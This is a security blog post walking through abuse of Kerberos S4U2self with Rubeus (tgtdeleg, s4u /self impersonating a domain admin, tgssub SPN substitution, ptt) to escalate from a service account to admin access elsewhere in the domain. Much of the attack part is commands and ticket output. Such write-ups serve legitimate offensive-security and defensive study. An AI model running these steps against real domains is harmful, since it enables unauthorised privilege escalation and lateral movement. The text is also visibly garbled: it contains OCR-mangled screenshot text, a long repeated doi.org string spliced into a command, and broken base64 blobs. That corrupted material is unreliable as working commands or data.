Abusing Kerberos S4U2self for local privilege escalation

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TL;DR;

S4U2self can be abused for local privilege escalation (think: Network Service to Local Admin). This is not something new, it's just the first time I actually ran through the steps myself so why not write a post about it. The attack is covered briefly in the <u>Rubeus manual</u> and in more detail in <u>this post</u> by Charlie Clark, which I recommend you read. I won't explain S4U in this post so if you are not familiar with the topic, read <u>this post</u> on constrained delegation first.

S4U2self and service accounts

Though constrained delegation needs to be specifically enabled on an account to "make it work" across systems in terms of S4U2proxy, S4U2self can be invoked by any principal with an SPN. From a conceptual perspective it does not seem like much at first, since you can't use the ticket to invoke S4U2proxy, which means that you end up with a ticket for yourself. And you already are you, so no problem here right?

It depends. If you already have administrative privileges on a computer, then the ticket really is of no use for you. But if you think about a common local privilege escalation scenario in which you managed to compromise a restriced service like IIS (running as AppPool user) or MSSQL (running as network service by default), that ticket can be quite valuable.

The "Network Service" account and the AppPool identities can act as the computer account in terms of Active Directory, they are only restrained locally. Therefore it is possible to invoke S4U2self if you run as one of these and request a service ticket for any user (e.g. someone with local admin rights, like DA) to yourself. There are however two minor obstacles to overcome:

- we need a TGT or the computer accounts credentials to invoke S4U2self and we start with neither of both
- the SPN in the ticket returned by S4U2self is set to "Computername\$" by default

Getting the TGT

A usable TGT for the computer account can be acquired using <u>@gentilkiwi</u>'s tgt::deleg trick, explained <u>here</u> in the Rubeus manual.

Invoke-Rubeus -Command "tgtdeleg /nowrap"

Fixing the SPN

With the TGT from the previous step, we can now invoke S4U2self to request a ticket for the User Chuck Norris, who is obviously a domain admin.

Invoke-Rubeus -Command "s4u /self /nowrap /impersonateuser:cnorris
/ticket:base64blobhere..."

```
PS C: USsens john> Invoke-Rubeus - Command "sdu /self /nowrap /impersonateuser:cnorris /ticket:doIFFjCCBRKgANIBBaEDAgEWoo AQDAgECORVERSGA3JiddGGORUTPSUTINDLKUPT 2004AC/ARCMARCHAIRAGKCABUEgBBI bnol/WZiapf17c02UAdT) v01zuAIT914fgjtpgK33
3nV1MnuNWTtQTElyTMyjma5+41zmErrfee7zesyZenUwzxCB+fAKNUNaLQB47wCltLXPdngJcabc33tMeg/jGBXsC735kcQ0jd/CNw4Kz8phZB1fZKqMwJ
https://doi.org/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1002/10.1
```

Here's how the resulting ticket looks like. As you can see, it is issued to "ADSEC-00\$" which is the name of the computer we are running on.

```
v1.5.0
 *] Action: Describe Ticket
                          : _ADSEC-00$
 ServiceName
 ServiceRealm
                             CONTOSO.COM
                          : cnorris@CONTOSO.COM
 UserName
                          : CONTOSO.COM
: 6/28/2021 6:26:25 PM
 UserRealm
 StartTime
                          : 6/29/2021 4:06:10 AM
 EndTime
                         : 7/5/2021 6:06:10 PM
: name_canonicalize, pre_authent, renewable, forwarded
: aes256_cts_hmac_sha1
 RenewTill
 Flags
 KeyType
 Base64(key)
                         : yW4cFHgL6bYfaBG7k0uUBykusI1m9yUVnZyynuTPC0s=
!] Service ticket uses encryption key type 'aes256_cts_hmac_sha1', unable to extract hash and salt.
PS C:\Users\john> _
```

We cannot use this ticket from another host since it is not issued to a valid SPN for our usecase. Luckily, the SPN is not part of the protected information inside the ticket and we can simply change it. Rubeus offers a command called tgssub to do just that, which is also explained in the <u>manual</u>. Use it together with the <u>/altservice</u> switch to provide a different SPN.

Invoke-Rubeus -Command "tgssub /altservice:http/adsec-00.contoso.com
/ticket:base64blobhere... "

oQOwCxsJQURTRUMtMDAko4IEUTCCBE2gAwIBEqEDAgEBooIEPwSCBDtFsvgi24CxkxREtXlHxLJGRkVbAQNodQDugFxOY7k8b6IRMaop/56St5/EZ8Ht lrooV9FoRmrwLZLfocTGK9m6ik8xfu0USmnVaHN59MEFAuktl/Pssg6+2XE6SRaOdL23GPbGVdu+yBnLaNxlH+WTHoxEXkmTlvVoJl33jtro2eL8d0a9CnN 2KdvzMP1QajBYqFi4DpbcheuwQ/m8AOkunCjm8JOfRGSXndqt8WUaAQGgUqan4lfbbdkmS2dp6ielR1oWKjo7uFm2FsVk7jopyDXmRqGpE19fyupyxh42gy NTnCC70CqkG/Ltwr+r+VS9MEeAVcjEsWQdBkwjOF/cxluB8LhajcidklQ7ilhEUwG9dTaZVgcr/1yfEUsLrqdWTcPVYnZB6UX7MqjPndnEWAsZI3GUPnfDn Ps1bFIF/hxTNGF+OlNXUP6Iad7FmmPgHZzKuUQiYDCTdiPDJ7wnc0EW3xmHdMXjNTwM6obYNGb6ej9OAIStFb8J2FAKT9JHQv/Z+725eexljcZ+ysSNw2qU NBEkdnvS8NvEKXopRe5nSgulR/oeBJ0gp2RLNCSa/317RYBxs28DPO/4QJCCMVuJAskeoT6oCL+QRTxER9D3N73MqzPGF2UVOQkhAA6I76a1C3YimwdRPuM FTrR/wpBGN9phg0mN31UvzMa70351t2qlvdimowU0pKnCcAi9wE4V0pMx45WyvLkEH2qHLjpF7J/sGb7q2LNkkB+KvZKqvAtVUFpQ85bKpxdi3EVpbV26 IBAKKB2QSB1n2B0zCB0KCBzTCByjCBx6ArMCmgAwIBEqEiBCBxnZZuX53wl6iM0ZA8OX2dN9uCOsgTlIVt7ua2YBhkbaENGwtDT0SUT1NPLkNPTaIgMB6g DNDJaphEYDzIwMjEwNjMwMDQyMjA2WqcRGA8yMDIxMDcwNjE4MjIwNlqoDRsLQ09OVE9TTy5DT02pFjAUoAMCAQGhDTALGwlBRFNFQy0wMCQ=" v1.5.6 *] Action: Service Ticket sname Substitution *] Substituting in alternate service name: http/adsec-00.contoso.com http/adsec-00.contoso.com ServiceName CONTOSO.COM ServiceRealm UserName cnorris@CONTOSO.COM UserRealm CONTOSO.COM 6/29/2021 7:44:42 PM 6/30/2021 4:22:06 AM StartTime EndTime RenewTill 7/6/2021 6:22:06 PM name_canonicalize, pre_authent, renewable, forwarded
aes256_cts_hmac_sha1 Flags KeyType Base64(key) cZ2Wbl+d8JeojNGQPDl9nTfbgjrIE5SFbe7mtmAYZG0= Base64EncodedTicket ${\tt doIFqDCCBaSgAwIBBaEDAgEWooIEnjCCBJphggSWMIIEkqADAgEFoQ0bC0NPT1RPU08uQ09NoicwJaADAgEBoR4wHBsEaHR0cBsUYWRzZWMtmDAuY29}$

/SBA2h1A06AXE5juTxvohExqin/npK3n8Rnwe3qinv6qLhNPTAsF0gY/gl2e6Rgz3obGTFApGgsqo2heWxyerCAZYU1f8ps3AUSqQJS7MSz3HWuihX0WhG p3GUf5ZMejEReSZOW9WgmXfeO2ujZ4vx05r0Kc0oBh4hnPTAYMtdHLL1qhj3Ibqu4RS5ZFmzwTImolJGs803YOcrC1VYHu9VAWSI1OPmvfYCbYp2/Mw/VB You can then copy the ticket to a different host, import it (you do not need local admin rights for that) and use the ticket.

```
PS C:\Users\alice\Desktop> Invoke-rubeus -Command "ptt /ticket:doIFqDCCBaSgAwIBBaEDAgEWooIEnjCCBJphggSWMIIEkqADAgEFoQ0bC0NPT
RMIIETaADAgESQMCAQGiggg/BIIEO0My+CLbgLGTFES1eUFEskZGRVsBA2h1AOGAXE5juTxvohExqin/npK3n8Rnwe3qinv6qLhNPTAsFOgY/gl2e6Rgz3obGTF
RKadVoc3n0wQUC652X8+yyDp7ZcTpJFo50vbcY9sZV277IGcto3GUF5ZMejEReSZOW9WgmXFeO2ujZ4vx05r0Kc00Bh4hnPTAYMtdHLLlqhj3IDqu4RS5ZFmzwTI
pwk59EZJed2q3xZRoBAaBSpqfiV9tt2SZLZznqj6vHwhYqoju4WbYwxWTUOinTNeZGoakTX1/K6nLGHjaDJDuY0tya+vnGbmcH8C0r30+oTBH0HnlnR/IjSTITay
zGW4HwuFqNyJ2SVDuKWERTAb11NplwByv/XJ8RSwuup1ZNw9VidkHpRfsyqM+d2cRYCxkjcZQ+d80YNsUK6BEkZDq8cOah+pUx79qgWp0WCrxkWHEIjG1v/jtyuu
MnvCdzQRbfGYd0xeM1PAzqhtg0Zvp6P04Ahk0VvwnYUApP0kdC/9n7vb157GWNxn7KxI3Dap5wcQte1P6xLuDJ00yXXtfXvvFLdJjA5Pzq0t960oieyLXNZgLY1L
M87/hAkIIxW4kCyR6hPqgIv5BFPERH0Pc3vcyrM8YXZRU5CSEADOjvprUdIkbB1E+4zE7cYrAVBqBGx0i65x/Gx0bA7GbQutbewOunkuCFC1cdXo8jfXM6hhdfx
zHjlbk8uQQfaocu0kXsn+wZvurYs2SQH4q9kqq8C1VQW1DxJsqnf2LcRWl1XbpgyvTrKI+tMHA67zyYTAY9X3ybgRDegAz2csgyFRxeuWcdua/QXGmg1+C3dVV2C
qQxfgW4ciPBwNKmBP7ffKrTh/DR8n6IRcajYCnoc3v1lUvMz+apjfZXWY5gq1XYx7idRx7c/TpfsbQSdTfnDdRjUxQrcKoRAk91G5E0rIduxMXZpeOrQa0B9TCB8
5fZ0324IGyBOUhW3u5rZgGGRtoQ0bC0NPT1RPU08uQ09NoiAwHaADAgEKORcwFRsTY25vcnJpc0BDT05UT1NPLkNPTaMHAwUAIKEAAKURGA8yMDIxMDYyOTE5NDQ
kNPTaknMCWgAwIBAaEeMBwbBGh0dHAbFGFkc2VjLTAwLmNvbnRvc28uY29t"
```

In the screenshot below we are using PSRemoting (hence the HTTP/.. SPN).

Conclusion

I think this is a very stable alternative to the various potatoe vectors. If you previously considered processes running as LOCAL SYSTEM as your main target for local privilege escalation, you can now safely increase your scope. As long as you have access to another computer in the domain, chances are very high that this will work.